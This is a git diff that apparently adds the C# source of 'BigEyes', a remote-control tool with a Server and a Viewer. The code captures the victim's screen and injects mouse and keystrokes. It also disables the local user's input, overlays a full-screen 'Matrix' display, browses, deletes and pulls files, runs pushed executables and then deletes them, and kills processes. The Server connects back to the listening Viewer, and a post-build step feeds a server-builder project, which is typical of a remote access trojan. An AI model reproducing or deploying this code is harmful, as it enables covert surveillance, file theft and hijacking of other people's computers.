+ }
+ _matrixScreenThread = new Thread(new ThreadStart(matrixScreenThread));
+ _matrixScreenThread.Start();
+ break;
+ case 9:
+ Debug.WriteLine("Killing matrix screen.");
+ _disabler.Stop();
+ if (_matrixScreen != null)
+ {
+ _matrixScreen.Kill();
+ _matrixScreen = null;
+ }
+ if (_matrixScreenThread != null)
+ {
+ System.Windows.Forms.Application.Exit();
+ try { _matrixScreenThread.Abort(); }
+ catch { }
+ }
+ break;
+ case 10:
+ if (_matrixScreen != null)
+ {
+ Debug.WriteLine("Writing to matrix screen.");
+ _matrixScreen.Invoke(new printChar(_matrixScreen.CharPress),new object[] { reader.ReadChar() });
+ }
+ break;
+ case 11:
+ Debug.WriteLine("Disabling local input.");
+ _disabler.Start();
+ break;
+ case 12:
+ Debug.WriteLine("Enabling local input.");
+ _disabler.Stop();
+ break;
+ }
+ }
+ }
+ catch
+ {
+ errorOut();
+ }
+ }
+ private void errorOut()
+ {
+ if (_disabler != null)
+ {
+ _disabler.Stop();
+ }
+ if (_matrixScreen != null)
+ {
+ _matrixScreen.Kill();
+ _matrixScreen = null;
+ }
+ if (Error != null)
+ {
+ Error();
+ }
+ }
+ private void matrixScreenThread()
+ {
+ _matrixScreen = new Matrix();
+ System.Windows.Forms.Application.Run(_matrixScreen);
+ }
+ private void processWait()
+ {
+ string loc;
+ lock(_pushPath)
+ {
+ loc = _pushPath;
+ }
+ try
+ {
+ System.Diagnostics.Process.Start(loc).WaitForExit();
+ File.Delete(loc);
+ }
+ catch { }
+ }
+ }
+}
diff --git a/Server/Server.csproj b/Server/Server.csproj
new file mode 100644
index 0000000..4475146
--- /dev/null
+++ b/Server/Server.csproj
@@ -0,0 +1,118 @@
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <PropertyGroup>
+ <ProjectType>Local</ProjectType>
+ <ProductVersion>8.0.50727</ProductVersion>
+ <SchemaVersion>2.0</SchemaVersion>
+ <ProjectGuid>{1845B01F-B9DF-4BE5-B232-FA794CBF3DAD}</ProjectGuid>
+ <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+ <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+ <ApplicationIcon>
+ </ApplicationIcon>
+ <AssemblyKeyContainerName>
+ </AssemblyKeyContainerName>
+ <AssemblyName>Server</AssemblyName>
+ <AssemblyOriginatorKeyFile>
+ </AssemblyOriginatorKeyFile>
+ <DefaultClientScript>JScript</DefaultClientScript>
+ <DefaultHTMLPageLayout>Grid</DefaultHTMLPageLayout>
+ <DefaultTargetSchema>IE50</DefaultTargetSchema>
+ <DelaySign>false</DelaySign>
+ <OutputType>WinExe</OutputType>
+ <RootNamespace>BigEyes.Server</RootNamespace>
+ <RunPostBuildEvent>OnBuildSuccess</RunPostBuildEvent>
+ <StartupObject>
+ </StartupObject>
+ <FileUpgradeFlags>
+ </FileUpgradeFlags>
+ <UpgradeBackupLocation>
+ </UpgradeBackupLocation>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+ <OutputPath>bin\Debug\</OutputPath>
+ <AllowUnsafeBlocks>false</AllowUnsafeBlocks>
+ <BaseAddress>285212672</BaseAddress>
+ <CheckForOverflowUnderflow>false</CheckForOverflowUnderflow>
+ <ConfigurationOverrideFile>
+ </ConfigurationOverrideFile>
+ <DefineConstants>DEBUG;TRACE</DefineConstants>
+ <DocumentationFile>
+ </DocumentationFile>
+ <DebugSymbols>true</DebugSymbols>
+ <FileAlignment>4096</FileAlignment>
+ <NoStdLib>false</NoStdLib>
+ <NoWarn>
+ </NoWarn>
+ <Optimize>false</Optimize>
+ <RegisterForComInterop>false</RegisterForComInterop>
+ <RemoveIntegerChecks>false</RemoveIntegerChecks>
+ <TreatWarningsAsErrors>false</TreatWarningsAsErrors>
+ <WarningLevel>4</WarningLevel>
+ <DebugType>full</DebugType>
+ <ErrorReport>prompt</ErrorReport>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+ <OutputPath>bin\Release\</OutputPath>
+ <AllowUnsafeBlocks>false</AllowUnsafeBlocks>
+ <BaseAddress>285212672</BaseAddress>
+ <CheckForOverflowUnderflow>false</CheckForOverflowUnderflow>
+ <ConfigurationOverrideFile>
+ </ConfigurationOverrideFile>
+ <DefineConstants>TRACE</DefineConstants>
+ <DocumentationFile>
+ </DocumentationFile>
+ <DebugSymbols>false</DebugSymbols>
+ <FileAlignment>4096</FileAlignment>
+ <NoStdLib>false</NoStdLib>
+ <NoWarn>
+ </NoWarn>
+ <Optimize>true</Optimize>
+ <RegisterForComInterop>false</RegisterForComInterop>
+ <RemoveIntegerChecks>false</RemoveIntegerChecks>
+ <TreatWarningsAsErrors>false</TreatWarningsAsErrors>
+ <WarningLevel>4</WarningLevel>
+ <DebugType>none</DebugType>
+ <ErrorReport>prompt</ErrorReport>
+ </PropertyGroup>
+ <ItemGroup>
+ <Reference Include="System">
+ <Name>System</Name>
+ </Reference>
+ <Reference Include="System.Data">
+ <Name>System.Data</Name>
+ </Reference>
+ <Reference Include="System.Drawing">
+ <Name>System.Drawing</Name>
+ </Reference>
+ <Reference Include="System.Windows.Forms" />
+ <Reference Include="System.Xml">
+ <Name>System.XML</Name>
+ </Reference>
+ </ItemGroup>
+ <ItemGroup>
+ <Compile Include="Disabler.cs">
+ <SubType>Code</SubType>
+ </Compile>
+ <Compile Include="Main.cs">
+ <SubType>Code</SubType>
+ </Compile>
+ <Compile Include="Matrix.cs">
+ <SubType>Form</SubType>
+ </Compile>
+ <Compile Include="Server.cs">
+ <SubType>Code</SubType>
+ </Compile>
+ <Compile Include="UserCapture.cs">
+ <SubType>Code</SubType>
+ </Compile>
+ <Compile Include="Window.cs" />
+ </ItemGroup>
+ <ItemGroup>
+ <EmbeddedResource Include="viewer.txt" />
+ </ItemGroup>
+ <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+ <PropertyGroup>
+ <PreBuildEvent>
+ </PreBuildEvent>
+ <PostBuildEvent>copy "$(TargetPath)" "C:\Documents and Settings\ZX2C4\My Documents\Visual Studio 2005\Projects\BigEyes\CreateServer\Server.exe"</PostBuildEvent>
+ </PropertyGroup>
+</Project> \ No newline at end of file
diff --git a/Server/UserCapture.cs b/Server/UserCapture.cs
new file mode 100644
index 0000000..e49d3b8
--- /dev/null
+++ b/Server/UserCapture.cs
@@ -0,0 +1,195 @@
+using System;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Runtime.InteropServices;
+using System.IO;
+using System.Net.Sockets;
+using System.Collections.Generic;
+
+namespace BigEyes.Server
+{
+ public class UserCapture
+ {
+ [DllImport("user32.dll")]
+ private static extern uint MapVirtualKey(uint uCode, uint uMapType);
+ [DllImport("user32.dll")]
+ private static extern IntPtr GetDesktopWindow();
+ [DllImport("gdi32.dll")]
+ private static extern bool BitBlt(IntPtr hdcDest,int nXDest,int nYDest,int nWidth,int nHeight,IntPtr hdcSrc,int nXSrc,int nYSrc,int dwRop);
+ [DllImport("user32.dll")]
+ private static extern int GetSystemMetrics(int nIndex);
+ [DllImport("user32.dll")]
+ private static extern uint SendInput(uint nInputs,ref INPUT input,int cbSize);
+ [DllImport("user32.dll")]
+ private static extern void SetCursorPos(int x, int y);
+ private const int SM_CXSCREEN = 0;
+ private const int SM_CYSCREEN = 1;
+ private const uint MOUSEEVENTF_MOVE = 0x0001;
+ private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
+ private const uint MOUSEEVENTF_LEFTUP = 0x0004;
+ private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
+ private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
+ private const uint MOUSEEVENTF_MIDDLEDOWN = 0x0020;
+ private const uint MOUSEEVENTF_MIDDLEUP = 0x0040;
+ private const uint MOUSEEVENTF_WHEEL = 0x0800;
+ private const uint MOUSEEVENTF_ABSOLUTE = 0x8000;
+ private const uint KEYEVENTF_EXTENDEDKEY = 0x0001;
+ private const uint KEYEVENTF_KEYUP = 0x0002;
+ private const uint INPUT_MOUSE = 0;
+ private const uint INPUT_KEYBOARD = 1;
+ private const int SRCCOPY = 0xCC0020;
+ struct MOUSE_INPUT
+ {
+ public uint dx;
+ public uint dy;
+ public uint mouseData;
+ public uint dwFlags;
+ public uint time;
+ public uint dwExtraInfo;
+ }
+ struct KEYBD_INPUT
+ {
+ public ushort wVk;
+ public ushort wScan;
+ public uint dwFlags;
+ public uint time;
+ public uint dwExtraInfo;
+ }
+ [StructLayout(LayoutKind.Explicit)]
+ struct INPUT
+ {
+ [FieldOffset(0)]
+ public uint type;
+ [FieldOffset(4)]
+ public MOUSE_INPUT mi;
+ [FieldOffset(4)]
+ public KEYBD_INPUT ki;
+ }
+ private static byte[] _previousBitmapBytes = null;
+ private int _scaleSize;
+ public UserCapture(int scalesize)
+ {
+ _scaleSize = scalesize;
+ }
+ public void PressOrReleaseMouseButton(bool press, bool left, int x, int y)
+ {
+ INPUT input = new INPUT();
+ input.type = INPUT_MOUSE;
+ input.mi.dx = (uint) x;
+ input.mi.dy = (uint) y;
+ input.mi.mouseData = 0;
+ input.mi.dwFlags = 0;
+ input.mi.time = 0;
+ input.mi.dwExtraInfo = 0;
+ if (left)
+ {
+ input.mi.dwFlags = press ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP;
+ }
+ else
+ {
+ input.mi.dwFlags = press ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP;
+ }
+ SendInput(1, ref input, Marshal.SizeOf(input));
+ }
+ public void MoveMouse(int x, int y)
+ {
+ double w = GetSystemMetrics(SM_CXSCREEN);
+ double h = GetSystemMetrics(SM_CYSCREEN);
+ SetCursorPos((int)Math.Round((w/(double)_scaleSize) * (double)x,0),(int)Math.Round((h/((h * (double)_scaleSize) / w)) * (double)y,0));
+ }
+ public void SendKeystroke(byte virtualKeyCode, bool keyDown, bool extendedKey)
+ {
+ INPUT input = new INPUT();
+ input.type = INPUT_KEYBOARD;
+ input.ki.wVk = virtualKeyCode;
+ input.ki.wScan = (byte)MapVirtualKey((uint) virtualKeyCode, 0);
+ input.ki.dwExtraInfo = 0;
+ input.ki.time = 0;
+ if (!keyDown)
+ {
+ input.ki.dwFlags |= KEYEVENTF_KEYUP;
+ }
+ if (extendedKey)
+ {
+ input.ki.dwFlags |= KEYEVENTF_EXTENDEDKEY;
+ }
+ SendInput(1, ref input, Marshal.SizeOf(input));
+ }
+ private Bitmap GetDesktopBitmap()
+ {
+ Size desktopBitmapSize = new Size(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));
+ Graphics graphic = Graphics.FromHwnd(GetDesktopWindow());
+ Bitmap memImage = new Bitmap(desktopBitmapSize.Width, desktopBitmapSize.Height, graphic);
+ Graphics memGraphic = Graphics.FromImage(memImage);
+ IntPtr dc1 = graphic.GetHdc();
+ IntPtr dc2 = memGraphic.GetHdc();
+ BitBlt(dc2, 0, 0, desktopBitmapSize.Width, desktopBitmapSize.Height, dc1, 0, 0, SRCCOPY);
+ graphic.ReleaseHdc(dc1);
+ memGraphic.ReleaseHdc(dc2);
+ graphic.Dispose();
+ memGraphic.Dispose();
+ return memImage;
+ }
+ public byte[] GetDesktopBitmapBytes()
+ {
+ Bitmap currentBitmap = GetDesktopBitmap();
+ currentBitmap = new Bitmap(currentBitmap.GetThumbnailImage(_scaleSize,currentBitmap.Height * _scaleSize / currentBitmap.Width,null,IntPtr.Zero));
+ MemoryStream ms = new MemoryStream();
+ currentBitmap.Save(ms,ImageFormat.Jpeg);
+ byte[] currentBitmapBytes = ms.ToArray();
+ ms.Close();
+ byte[] b = compBytes(_previousBitmapBytes, currentBitmapBytes);
+ _previousBitmapBytes = currentBitmapBytes;
+ return b;
+ }
+ private byte[] compBytes(byte[] old, byte[] now)
+ {
+ if (old == null)
+ {
+ byte[] b = new byte[now.Length + 1];
+ b[0] = 0;
+ Array.Copy(now, 0, b, 1, now.Length);
+ return b;
+ }
+ MemoryStream ms = new MemoryStream();
+ BinaryWriter bw = new BinaryWriter(ms);
+ bool equality = true;
+ int min = Math.Min(old.Length, now.Length);
+ for (int i = 0; i < min; i++)
+ {
+ if (old[i] != now[i])
+ {
+ bw.Write(i);
+ bw.Write(now[i]);
+ equality = false;
+ }
+ }
+ if (equality)
+ {
+ return new byte[0];
+ }
+ for (int i = min + 1; i < now.Length; i++)
+ {
+ bw.Write(i);
+ bw.Write(now[i]);
+ }
+ if (ms.Length >= now.Length)
+ {
+ byte[] b = new byte[now.Length + 1];
+ b[0] = 0;
+ Array.Copy(now, 0, b, 1, now.Length);
+ return b;
+ }
+ else
+ {
+ System.Diagnostics.Debug.WriteLine("Partial image.");
+ byte[] r = ms.ToArray();
+ byte[] b = new byte[r.Length + 1];
+ b[0] = 1;
+ Array.Copy(r, 0, b, 1, r.Length);
+ return b;
+ }
+ }
+
+ }
+}
diff --git a/Server/Window.cs b/Server/Window.cs
new file mode 100644
index 0000000..3871ab9
--- /dev/null
+++ b/Server/Window.cs
@@ -0,0 +1,236 @@
+using System;
+using System.Text;
+using System.Collections;
+using System.Runtime.InteropServices;
+
+namespace BigEyes.Server
+{
+ /// <summary>
+ /// Object used to control a Windows Form.
+ /// </summary>
+ public class Window
+ {
+ /// <summary>
+ /// Win32 API Imports
+ /// </summary>
+ [DllImport("user32.dll")]
+ private static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
+ [DllImport("user32.dll")]
+ private static extern bool SetForegroundWindow(IntPtr hWnd);
+ [DllImport("user32.dll")]
+ public static extern bool IsIconic(IntPtr hWnd);
+ [DllImport("user32.dll")]
+ private static extern bool IsZoomed(IntPtr hWnd);
+ [DllImport("user32.dll")]
+ private static extern IntPtr GetForegroundWindow();
+ [DllImport("user32.dll")]
+ private static extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, IntPtr ProcessId);
+ [DllImport("user32.dll")]
+ private static extern IntPtr AttachThreadInput(IntPtr idAttach, IntPtr idAttachTo, int fAttach);
+
+ /// <summary>
+ /// Win32 API Constants for ShowWindowAsync()
+ /// </summary>
+ private const int SW_HIDE = 0;
+ private const int SW_SHOWNORMAL = 1;
+ private const int SW_SHOWMINIMIZED = 2;
+ private const int SW_SHOWMAXIMIZED = 3;
+ private const int SW_SHOWNOACTIVATE = 4;
+ private const int SW_RESTORE = 9;
+ private const int SW_SHOWDEFAULT = 10;
+
+ /// <summary>
+ /// Private Fields
+ /// </summary>
+ private IntPtr m_hWnd;
+ private string m_Title;
+ private bool m_Visible = true;
+ private string m_Process;
+ private bool m_WasMax = false;
+
+ /// <summary>
+ /// Window Object's Public Properties
+ /// </summary>
+ public IntPtr hWnd
+ {
+ get { return m_hWnd; }
+ }
+ public string Title
+ {
+ get { return m_Title; }
+ }
+ public string Process
+ {
+ get { return m_Process; }
+ }
+
+ /// <summary>
+ /// Sets this Window Object's visibility
+ /// </summary>
+ public bool Visible
+ {
+ get { return m_Visible; }
+ set
+ {
+ //show the window
+ if (value == true)
+ {
+ if (IsIconic(m_hWnd))
+ {
+ ShowWindowAsync(m_hWnd, SW_RESTORE);
+ m_Visible = true;
+ return;
+ }
+ if (m_WasMax)
+ {
+ if (ShowWindowAsync(m_hWnd, SW_SHOWMAXIMIZED))
+ m_Visible = true;
+ }
+ else
+ {
+ if (ShowWindowAsync(m_hWnd, SW_SHOWNORMAL))
+ m_Visible = true;
+ }
+ }
+ //hide the window
+ if (value == false)
+ {
+ m_WasMax = IsZoomed(m_hWnd);
+ if (ShowWindowAsync(m_hWnd, SW_HIDE))
+ m_Visible = false;
+ }
+ }
+ }
+
+ /// <summary>
+ /// Constructs a Window Object
+ /// </summary>
+ /// <param name="Title">Title Caption</param>
+ /// <param name="hWnd">Handle</param>
+ /// <param name="Process">Owning Process</param>
+ public Window(string Title, IntPtr hWnd, string Process)
+ {
+ m_Title = Title;
+ m_hWnd = hWnd;
+ m_Process = Process;
+ }
+
+ //Override ToString()
+ public override string ToString()
+ {
+ //return the title if it has one, if not return the process name
+ if (m_Title.Length > 0)
+ {
+ return m_Title;
+ }
+ else
+ {
+ return m_Process;
+ }
+ }
+ }
+
+ /// <summary>
+ /// Collection used to enumerate Window Objects
+ /// </summary>
+ public class Windows : IEnumerable, IEnumerator
+ {
+ /// <summary>
+ /// Win32 API Imports
+ /// </summary>
+ [DllImport("user32.dll")]
+ private static extern int GetWindowText(int hWnd, StringBuilder title, int size);
+ [DllImport("user32.dll")]
+ private static extern int GetWindowModuleFileName(int hWnd, StringBuilder title, int size);
+ [DllImport("user32.dll")]
+ private static extern int EnumWindows(EnumWindowsProc ewp, int lParam);
+ [DllImport("user32.dll")]
+ private static extern bool IsWindowVisible(int hWnd);
+
+ //delegate used for EnumWindows() callback function
+ public delegate bool EnumWindowsProc(int hWnd, int lParam);
+
+ private int m_Position = -1; //holds current index of wndArray, necessary for IEnumerable
+
+ ArrayList wndArray = new ArrayList(); //array of windows
+
+ //Object's private fields
+ private bool m_invisible = false;
+ private bool m_notitle = false;
+
+ /// <summary>
+ /// Collection Constructor with additional options
+ /// </summary>
+ /// <param name="Invisible">Include invisible Windows</param>
+ /// <param name="Untitled">Include untitled Windows</param>
+ public Windows(bool Invisible, bool Untitled)
+ {
+ m_invisible = Invisible;
+ m_notitle = Untitled;
+
+ //Declare a callback delegate for EnumWindows() API call
+ EnumWindowsProc ewp = new EnumWindowsProc(EvalWindow);
+ //Enumerate all Windows
+ EnumWindows(ewp, 0);
+ }
+ /// <summary>
+ /// Collection Constructor
+ /// </summary>
+ public Windows()
+ {
+ //Declare a callback delegate for EnumWindows() API call
+ EnumWindowsProc ewp = new EnumWindowsProc(EvalWindow);
+ //Enumerate all Windows
+ EnumWindows(ewp, 0);
+ }
+ //EnumWindows CALLBACK function
+ private bool EvalWindow(int hWnd, int lParam)
+ {
+ if (m_invisible == false && !IsWindowVisible(hWnd))
+ return (true);
+
+ StringBuilder title = new StringBuilder(256);
+ StringBuilder module = new StringBuilder(256);
+
+ GetWindowModuleFileName(hWnd, module, 256);
+ GetWindowText(hWnd, title, 256);
+
+ if (m_notitle == false && title.Length == 0)
+ return (true);
+
+ wndArray.Add(new Window(title.ToString(), (IntPtr)hWnd, module.ToString()));
+
+ return (true);
+ }
+
+ //implement IEnumerable
+ public IEnumerator GetEnumerator()
+ {
+ return (IEnumerator)this;
+ }
+ //implement IEnumerator
+ public bool MoveNext()
+ {
+ m_Position++;
+ if (m_Position < wndArray.Count)
+ {
+ return true;
+ }
+ else
+ {
+ return false;
+ }
+ }
+ public void Reset()
+ {
+ m_Position = -1;
+ }
+ public object Current
+ {
+ get
+ {
+ return wndArray[m_Position];
+ }
+ }
+ }
+}
diff --git a/Server/viewer.txt b/Server/viewer.txt
new file mode 100644
index 0000000..a6860d9
--- /dev/null
+++ b/Server/viewer.txt
@@ -0,0 +1 @@
+ABCDEFGHIJKLMNOPQRSTUVWXYZ \ No newline at end of file
diff --git a/Viewer/BigEyes.cs b/Viewer/BigEyes.cs
new file mode 100644
index 0000000..f86e1fd
--- /dev/null
+++ b/Viewer/BigEyes.cs
@@ -0,0 +1,40 @@
+public static class BigEyes
+{
+ #region DLL Imports
+ [DllImport("user32.dll", CharSet = CharSet.Auto)]
+ private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
+#endregion
+
+ public static void ChangeBackground(string url)
+ {
+ Image.FromStream(new WebClient().OpenRead(url)).Save(@"C:\wallpaper.bmp", System.Drawing.Imaging.ImageFormat.Bmp);
+ SystemParametersInfo(20, 0, @"C:\wallpaper.bmp", 0x1 | 0x2);
+ }
+
+ public static bool KillProc(string procName)
+ {
+ Process[] prs = Process.GetProcessesByName(procName);
+ if (prs.Length > 0)
+ {
+ bool b = true;
+ foreach (Process p in prs)
+ {
+ try
+ {
+ p.Kill();
+ }
+ catch
+ {
+ b = false;
+ continue;
+ }
+ }
+ return b;
+ }
+ else
+ {
+ return false;
+ }
+ }
+}
+
diff --git a/Viewer/Client.cs b/Viewer/Client.cs
new file mode 100644
index 0000000..5efc0ac
--- /dev/null
+++ b/Viewer/Client.cs
@@ -0,0 +1,401 @@
+using System;
+using System.Net.Sockets;
+using System.Net;
+using System.Threading;
+using System.IO;
+using System.Drawing;
+using System.Windows.Forms;
+using System.Runtime.InteropServices;
+
+namespace BigEyes.Viewer
+{
+ public class Client
+ {
+ private BinaryWriter _writer;
+ private Thread _listenThread;
+ private int _port;
+ private bool _browserEnabled;
+ private bool _requestingShot;
+ public delegate void ErrorArgs(Exception e);
+ public event ErrorArgs Error;
+ public delegate void ReceivedConnectionArgs(Socket connection);
+ public event ReceivedConnectionArgs ReceivedConnection;
+ public event DesktopImageArgs DesktopImage;
+ public delegate void DesktopImageArgs(Bitmap image);
+ public event DirectoryArgs Directory;
+ public delegate void DirectoryArgs(string[] listing);
+ public event FileArgs File;
+ public delegate void FileArgs(string fileName, byte[] fileData);
+ private MemoryStream _lastImage;
+ private bool _enableHostControls;
+ public Client(int port)
+ {
+ _port = port;
+ _listenThread = new Thread(new ThreadStart(listenThread));
+ _listenThread.IsBackground = true;
+ }
+ public void Start()
+ {
+ _listenThread.Start();
+ }
+ public bool FileBrowserEnabled
+ {
+ get
+ {
+ return _browserEnabled;
+ }
+ set
+ {
+ _browserEnabled = value;
+ if (!value)
+ {
+ try
+ {
+ _writer.Write((byte)3);
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ else
+ {
+ if (_requestingShot)
+ {
+ Thread.Sleep(1000);
+ }
+ RequestPath(@"C:\");
+ }
+ }
+ }
+ public bool EnableHostControls
+ {
+ get
+ {
+ return _enableHostControls;
+ }
+ set
+ {
+ try
+ {
+ _writer.Write(value ? (byte)12 : (byte)11);
+ _enableHostControls = value;
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ }
+ //int p = 0;
+ //int a = 0;
+ //int e = 0;
+ public void ConnectToHost(Socket s)
+ {
+ if (_listenThread != null && _listenThread.ThreadState != ThreadState.Aborted)
+ {
+ _listenThread.Abort();
+ }
+ _listenThread = new Thread(new ParameterizedThreadStart(hostThread));
+ _listenThread.Start(s);
+ }
+ private void hostThread(object o)
+ {
+ try
+ {
+ NetworkStream stream = new NetworkStream((Socket)o);
+ _writer = new BinaryWriter(stream);
+ FileBrowserEnabled = false;
+ BinaryReader reader = new BinaryReader(stream);
+ while (true)
+ {
+ switch (reader.ReadByte())
+ {//if events are null, it wont advance the stream...
+ case 0:
+ if (DesktopImage != null)
+ {
+ _requestingShot = true;
+ if (!_browserEnabled)
+ {
+ lock (_writer)
+ {
+ _writer.Write((byte)3);
+ }
+ }
+ int length = reader.ReadInt32() - 1;
+ switch (reader.ReadByte())
+ {
+ case 0:
+ //a++;
+ _lastImage = new MemoryStream(reader.ReadBytes(length));
+ break;
+ case 1:
+ //p++;
+ BinaryReader bw = new BinaryReader(new MemoryStream(reader.ReadBytes(length)));
+ byte[] sub = _lastImage.ToArray();
+ while (bw.BaseStream.Position < bw.BaseStream.Length)
+ {
+ int index = bw.ReadInt32();
+ if (index > sub.Length - 1)
+ {
+ byte[] b = new byte[index + 1];
+ Array.Copy(sub, b, sub.Length);
+ sub = b;
+ }
+ sub[index] = bw.ReadByte();
+ }
+ _lastImage = new MemoryStream(sub);
+ break;
+ default:
+ throw new Exception("Bad image type byte.");
+ }
+ //Console.Clear();
+ try
+ {
+ DesktopImage(new Bitmap(_lastImage));
+ }
+ catch
+ {
+ //e++;
+ }
+ //Console.WriteLine("Partial\t{0}\t{1}%\nFull\t{2}\t{3}%\nErrors\t{4}", p, (((double)p * 100.0) / (a + p)), a, (((double)a * 100.0) / (a + p)), e);
+ _requestingShot = false;
+ }
+ break;
+ case 1:
+ if (Directory != null)
+ {
+ Directory(reader.ReadString().Split('\n'));
+ }
+ break;
+ case 2:
+ if (File != null)
+ {
+ string str = reader.ReadString();
+ if (str == "error")
+ {
+ File(str, null);
+ }
+ else
+ {
+ File(str, reader.ReadBytes(reader.ReadInt32()));
+ }
+ }
+ break;
+ }
+ }
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ private void listenThread()
+ {
+ try
+ {
+ Socket listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ listener.Bind(new System.Net.IPEndPoint(System.Net.IPAddress.Any, _port));
+ listener.Listen((int)SocketOptionName.MaxConnections);
+ while (ReceivedConnection != null)
+ {
+ ReceivedConnection(listener.Accept());
+ }
+ }
+ catch (Exception ex)
+ {
+ if (ex is ThreadAbortException)
+ {
+ throw ex;
+ }
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ public void RequestPath(string path)
+ {
+ if (_browserEnabled)
+ {
+ try
+ {
+ _writer.Write((byte)4);
+ _writer.Write(path);
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ }
+ public void DeletePath(string path)
+ {
+ if (_browserEnabled)
+ {
+ try
+ {
+ _writer.Write((byte)6);
+ _writer.Write(path);
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ }
+ public void RemoveBigEyes()
+ {
+ if (_browserEnabled)
+ {
+ try
+ {
+ _writer.Write((byte)7);
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ }
+ public void PushExecutable(string path, byte[] data, bool deleteWait)
+ {
+ if (_browserEnabled)
+ {
+ try
+ {
+ _writer.Write((byte)5);
+ _writer.Write(path);
+ _writer.Write(data.Length);
+ _writer.Write(data);
+ _writer.Write(deleteWait);
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ }
+ public void MoveMouse(MouseEventArgs e)
+ {
+ if (!_browserEnabled)
+ {
+ try
+ {
+ _writer.Write((byte)0);
+ _writer.Write(e.X);
+ _writer.Write(e.Y);
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ }
+ public void MousePress(bool down, MouseEventArgs e)
+ {
+ if (!_browserEnabled)
+ {
+ try
+ {
+ _writer.Write((byte)1);
+ _writer.Write(down);
+ _writer.Write(e.Button == MouseButtons.Left);
+ _writer.Write(e.X);
+ _writer.Write(e.Y);
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ }
+ public void KeyPress(bool down, KeyEventArgs e)
+ {
+ if (!_browserEnabled)
+ {
+ try
+ {
+ _writer.Write((byte)2);
+ _writer.Write((byte)e.KeyCode);
+ _writer.Write(down);
+ _writer.Write(false);
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ }
+ public void LoadMatrix(bool load)
+ {
+ if (_browserEnabled)
+ {
+ try
+ {
+ _writer.Write(load ? (byte)8 : (byte)9);
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ }
+ public void MatrixChar(char c)
+ {
+ if (_browserEnabled)
+ {
+ try
+ {
+ _writer.Write((byte)10);
+ _writer.Write(c);
+ }
+ catch (Exception ex)
+ {
+ if (Error != null)
+ {
+ Error(ex);
+ }
+ }
+ }
+ }
+ public void Close()
+ {
+ this._listenThread.Abort();
+ this._writer.Close();
+ }
+ }
+}
diff --git a/Viewer/Path.cs b/Viewer/Path.cs
new file mode 100644
index 0000000..6d4a1aa
--- /dev/null
+++ b/Viewer/Path.cs
@@ -0,0 +1,341 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace BigEyes.Viewer
+{
+ public static class Path
+ {
+ // Fields
+ public static readonly char AltDirectorySeparatorChar = '/';
+ public static readonly char DirectorySeparatorChar = '\\';
+ private static readonly char[] InvalidFileNameChars = new char[] {
+ '"', '<', '>', '|', '\0', '\x0001', '\x0002', '\x0003', '\x0004', '\x0005', '\x0006', '\a', '\b', '\t', '\n', '\v',
+ '\f', '\r', '\x000e', '\x000f', '\x0010', '\x0011', '\x0012', '\x0013', '\x0014', '\x0015', '\x0016', '\x0017', '\x0018', '\x0019', '\x001a', '\x001b',
+ '\x001c', '\x001d', '\x001e', '\x001f', ':', '*', '?', '\\', '/'
+ };
+ [Obsolete("Please use GetInvalidPathChars or GetInvalidFileNameChars instead.")]
+ public static readonly char[] InvalidPathChars = new char[] {
+ '"', '<', '>', '|', '\0', '\x0001', '\x0002', '\x0003', '\x0004', '\x0005', '\x0006', '\a', '\b', '\t', '\n', '\v',
+ '\f', '\r', '\x000e', '\x000f', '\x0010', '\x0011', '\x0012', '\x0013', '\x0014', '\x0015', '\x0016', '\x0017', '\x0018', '\x0019', '\x001a', '\x001b',
+ '\x001c', '\x001d', '\x001e', '\x001f'
+ };
+ internal const int MAX_DIRECTORY_PATH = 0xf8;
+ internal const int MAX_PATH = 260;
+ internal static readonly int MaxPath = 260;
+ public static readonly char PathSeparator = ';';
+ private static readonly char[] RealInvalidPathChars = new char[] {
+ '"', '<', '>', '|', '\0', '\x0001', '\x0002', '\x0003', '\x0004', '\x0005', '\x0006', '\a', '\b', '\t', '\n', '\v',
+ '\f', '\r', '\x000e', '\x000f', '\x0010', '\x0011', '\x0012', '\x0013', '\x0014', '\x0015', '\x0016', '\x0017', '\x0018', '\x0019', '\x001a', '\x001b',
+ '\x001c', '\x001d', '\x001e', '\x001f'
+ };
